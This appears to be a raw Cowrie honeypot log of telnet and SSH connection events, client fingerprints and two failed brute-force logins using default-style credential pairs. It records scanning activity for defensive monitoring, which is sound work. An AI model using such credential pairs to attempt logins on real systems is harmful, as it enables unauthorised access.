{"eventid":"cowrie.session.closed","duration":32.56010842323303,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:28.527540Z","src_ip":"104.245.105.2","session":"4616bd2cad3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.701431751251221,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:28.748935Z","src_ip":"188.208.141.113","session":"2f387892c0c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55064,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c1d69f7e636","protocol":"telnet","message":"New connection: 104.245.105.2:55064 (10.17.0.5:23) [session: 5c1d69f7e636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:29.187382Z"}
{"eventid":"cowrie.session.closed","duration":30.437934160232544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:30.367344Z","src_ip":"104.245.105.2","session":"ae1a932e9e5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40748,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eff78ee3823","protocol":"telnet","message":"New connection: 104.245.105.2:40748 (10.17.0.5:23) [session: 7eff78ee3823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:33.850819Z"}
{"eventid":"cowrie.session.closed","duration":31.664766311645508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:33.907811Z","src_ip":"104.245.105.2","session":"e87566a3961e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.93573784828186,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:34.076887Z","src_ip":"206.189.32.23","session":"a786aef4411a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.331148624420166,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:34.845328Z","src_ip":"162.55.233.176","session":"bad15cb51060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40752,"dst_ip":"10.17.0.5","dst_port":23,"session":"8958a8759afb","protocol":"telnet","message":"New connection: 104.245.105.2:40752 (10.17.0.5:23) [session: 8958a8759afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:35.545201Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40768,"dst_ip":"10.17.0.5","dst_port":23,"session":"bef654d34565","protocol":"telnet","message":"New connection: 104.245.105.2:40768 (10.17.0.5:23) [session: bef654d34565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:36.581033Z"}
{"eventid":"cowrie.session.closed","duration":31.26650619506836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:36.743833Z","src_ip":"104.245.105.2","session":"9a0608c2de46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40774,"dst_ip":"10.17.0.5","dst_port":23,"session":"6862dc6bcf5c","protocol":"telnet","message":"New connection: 104.245.105.2:40774 (10.17.0.5:23) [session: 6862dc6bcf5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:38.015159Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35980,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa861e8848d1","protocol":"telnet","message":"New connection: 206.189.32.23:35980 (10.17.0.5:23) [session: fa861e8848d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:38.183095Z"}
{"eventid":"cowrie.session.closed","duration":43.80455207824707,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:38.897822Z","src_ip":"104.245.105.2","session":"58a864f39466","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.845033407211304,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:39.160111Z","src_ip":"104.245.105.2","session":"1e3d502dd66d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":38174,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c8249945d31","protocol":"telnet","message":"New connection: 206.189.32.23:38174 (10.17.0.5:23) [session: 2c8249945d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:39.221061Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59876,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca6a72727656","protocol":"telnet","message":"New connection: 188.208.141.113:59876 (10.17.0.5:23) [session: ca6a72727656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:40.025580Z"}
{"eventid":"cowrie.session.closed","duration":44.49987030029297,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:44.841788Z","src_ip":"206.189.32.23","session":"89bf03f1fce8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43388,"dst_ip":"10.17.0.5","dst_port":23,"session":"64bd044c0ca2","protocol":"telnet","message":"New connection: 206.189.32.23:43388 (10.17.0.5:23) [session: 64bd044c0ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:46.170459Z"}
{"eventid":"cowrie.session.closed","duration":1.8761250972747803,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:48.046450Z","src_ip":"206.189.32.23","session":"64bd044c0ca2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33858,"dst_ip":"10.17.0.5","dst_port":23,"session":"e24dc0b5513f","protocol":"telnet","message":"New connection: 104.245.105.2:33858 (10.17.0.5:23) [session: e24dc0b5513f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:48.563578Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33860,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc968e623188","protocol":"telnet","message":"New connection: 104.245.105.2:33860 (10.17.0.5:23) [session: dc968e623188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:48.623721Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33868,"dst_ip":"10.17.0.5","dst_port":23,"session":"387732984995","protocol":"telnet","message":"New connection: 104.245.105.2:33868 (10.17.0.5:23) [session: 387732984995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:49.175213Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33884,"dst_ip":"10.17.0.5","dst_port":23,"session":"277acafebf6a","protocol":"telnet","message":"New connection: 104.245.105.2:33884 (10.17.0.5:23) [session: 277acafebf6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:49.401143Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59320,"dst_ip":"10.17.0.5","dst_port":23,"session":"83edddc08bb9","protocol":"telnet","message":"New connection: 104.245.105.2:59320 (10.17.0.5:23) [session: 83edddc08bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:49.773224Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59332,"dst_ip":"10.17.0.5","dst_port":23,"session":"53cb90fa0b31","protocol":"telnet","message":"New connection: 104.245.105.2:59332 (10.17.0.5:23) [session: 53cb90fa0b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:49.790133Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":53530,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0320c8642dc","protocol":"ssh","message":"New connection: 190.108.60.10:53530 (10.17.0.5:22) [session: a0320c8642dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:52.432064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:52.443357Z","src_ip":"190.108.60.10","session":"a0320c8642dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:52.632634Z","src_ip":"190.108.60.10","session":"a0320c8642dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59342,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9b21e777e0e","protocol":"telnet","message":"New connection: 104.245.105.2:59342 (10.17.0.5:23) [session: c9b21e777e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:52.819257Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"pass@123","message":"login attempt [test/pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:53.391526Z","src_ip":"190.108.60.10","session":"a0320c8642dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.606422901153564,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:54.494205Z","src_ip":"104.245.105.2","session":"8b7062acf1e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:50:54.582940Z","src_ip":"190.108.60.10","session":"a0320c8642dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.64007043838501,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:00.827366Z","src_ip":"104.245.105.2","session":"5c1d69f7e636","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41848,"dst_ip":"10.17.0.5","dst_port":23,"session":"03513b1ea40b","protocol":"telnet","message":"New connection: 104.245.105.2:41848 (10.17.0.5:23) [session: 03513b1ea40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:02.320916Z"}
{"eventid":"cowrie.session.closed","duration":39.25303840637207,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:02.783603Z","src_ip":"104.245.105.2","session":"7b696f833f76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0008819103241,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:02.848139Z","src_ip":"38.191.219.202","session":"b4769f30da3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.191.219.203","src_port":33602,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c0eb2b2120c","protocol":"telnet","message":"New connection: 38.191.219.203:33602 (159.203.135.109:23) [session: 9c0eb2b2120c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:03.219592Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41862,"dst_ip":"10.17.0.5","dst_port":23,"session":"46c57ed42763","protocol":"telnet","message":"New connection: 104.245.105.2:41862 (10.17.0.5:23) [session: 46c57ed42763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:03.937789Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":40144,"dst_ip":"159.203.135.109","dst_port":23,"session":"661c3d4b9269","protocol":"telnet","message":"New connection: 162.55.233.176:40144 (159.203.135.109:23) [session: 661c3d4b9269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:04.058899Z"}
{"eventid":"cowrie.session.closed","duration":30.895590782165527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:04.746183Z","src_ip":"104.245.105.2","session":"7eff78ee3823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41866,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0931065385f","protocol":"telnet","message":"New connection: 104.245.105.2:41866 (10.17.0.5:23) [session: d0931065385f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:05.067018Z"}
{"eventid":"cowrie.session.closed","duration":30.88023281097412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:06.425330Z","src_ip":"104.245.105.2","session":"8958a8759afb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":38252,"dst_ip":"10.17.0.5","dst_port":23,"session":"1de8cf4b8a36","protocol":"telnet","message":"New connection: 206.189.32.23:38252 (10.17.0.5:23) [session: 1de8cf4b8a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:07.339048Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41882,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b1ff1055978","protocol":"telnet","message":"New connection: 104.245.105.2:41882 (10.17.0.5:23) [session: 6b1ff1055978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:07.918020Z"}
{"eventid":"cowrie.session.closed","duration":31.8512864112854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:08.432221Z","src_ip":"104.245.105.2","session":"bef654d34565","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34220,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c338b9a29b4","protocol":"telnet","message":"New connection: 104.245.105.2:34220 (10.17.0.5:23) [session: 0c338b9a29b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:10.204885Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34230,"dst_ip":"10.17.0.5","dst_port":23,"session":"c51a8203ba74","protocol":"telnet","message":"New connection: 104.245.105.2:34230 (10.17.0.5:23) [session: c51a8203ba74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:10.703999Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43606,"dst_ip":"10.17.0.5","dst_port":23,"session":"36c0ede2a687","protocol":"telnet","message":"New connection: 206.189.32.23:43606 (10.17.0.5:23) [session: 36c0ede2a687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:11.306629Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":51434,"dst_ip":"10.17.0.5","dst_port":22,"session":"9be28fc7437d","protocol":"ssh","message":"New connection: 61.222.211.114:51434 (10.17.0.5:22) [session: 9be28fc7437d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:11.479806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:11.485211Z","src_ip":"61.222.211.114","session":"9be28fc7437d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0089864730835,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:11.518281Z","src_ip":"38.191.219.202","session":"0c685e4e903a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:11.689774Z","src_ip":"61.222.211.114","session":"9be28fc7437d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":44136,"dst_ip":"10.17.0.5","dst_port":23,"session":"29bbbbc058b1","protocol":"telnet","message":"New connection: 206.189.32.23:44136 (10.17.0.5:23) [session: 29bbbbc058b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:11.796523Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"raspberry","message":"login attempt [ubuntu/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:12.540338Z","src_ip":"61.222.211.114","session":"9be28fc7437d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:13.745902Z","src_ip":"61.222.211.114","session":"9be28fc7437d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.191.219.202","src_port":33942,"dst_ip":"159.203.135.109","dst_port":23,"session":"747a1b6d73f5","protocol":"telnet","message":"New connection: 38.191.219.202:33942 (159.203.135.109:23) [session: 747a1b6d73f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:14.804814Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34236,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3e4d2496991","protocol":"telnet","message":"New connection: 104.245.105.2:34236 (10.17.0.5:23) [session: e3e4d2496991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:15.370378Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":50706,"dst_ip":"10.17.0.5","dst_port":23,"session":"57a4b8ef2c95","protocol":"telnet","message":"New connection: 206.189.32.23:50706 (10.17.0.5:23) [session: 57a4b8ef2c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:17.706201Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34246,"dst_ip":"10.17.0.5","dst_port":23,"session":"759779263605","protocol":"telnet","message":"New connection: 104.245.105.2:34246 (10.17.0.5:23) [session: 759779263605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:18.038221Z"}
{"eventid":"cowrie.session.closed","duration":30.626051425933838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:20.399178Z","src_ip":"104.245.105.2","session":"83edddc08bb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.34686636924744,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:20.529850Z","src_ip":"206.189.32.23","session":"fa861e8848d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.61955189704895,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:20.634528Z","src_ip":"104.245.105.2","session":"6862dc6bcf5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":53846,"dst_ip":"10.17.0.5","dst_port":23,"session":"03b26891be94","protocol":"telnet","message":"New connection: 206.189.32.23:53846 (10.17.0.5:23) [session: 03b26891be94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:20.735006Z"}
{"eventid":"cowrie.session.closed","duration":31.569243669509888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:20.970237Z","src_ip":"104.245.105.2","session":"277acafebf6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45938515663147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:21.249433Z","src_ip":"104.245.105.2","session":"53cb90fa0b31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33683133125305,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:21.511926Z","src_ip":"104.245.105.2","session":"387732984995","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.96940898895264,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:21.532851Z","src_ip":"104.245.105.2","session":"e24dc0b5513f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.191.219.203","src_port":34360,"dst_ip":"159.203.135.109","dst_port":23,"session":"9edc3df0e05c","protocol":"telnet","message":"New connection: 38.191.219.203:34360 (159.203.135.109:23) [session: 9edc3df0e05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:21.713635Z"}
{"eventid":"cowrie.session.closed","duration":33.34964203834534,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:21.973287Z","src_ip":"104.245.105.2","session":"dc968e623188","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46076,"dst_ip":"10.17.0.5","dst_port":23,"session":"764df865ee06","protocol":"telnet","message":"New connection: 104.245.105.2:46076 (10.17.0.5:23) [session: 764df865ee06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:51:22.177562Z"}
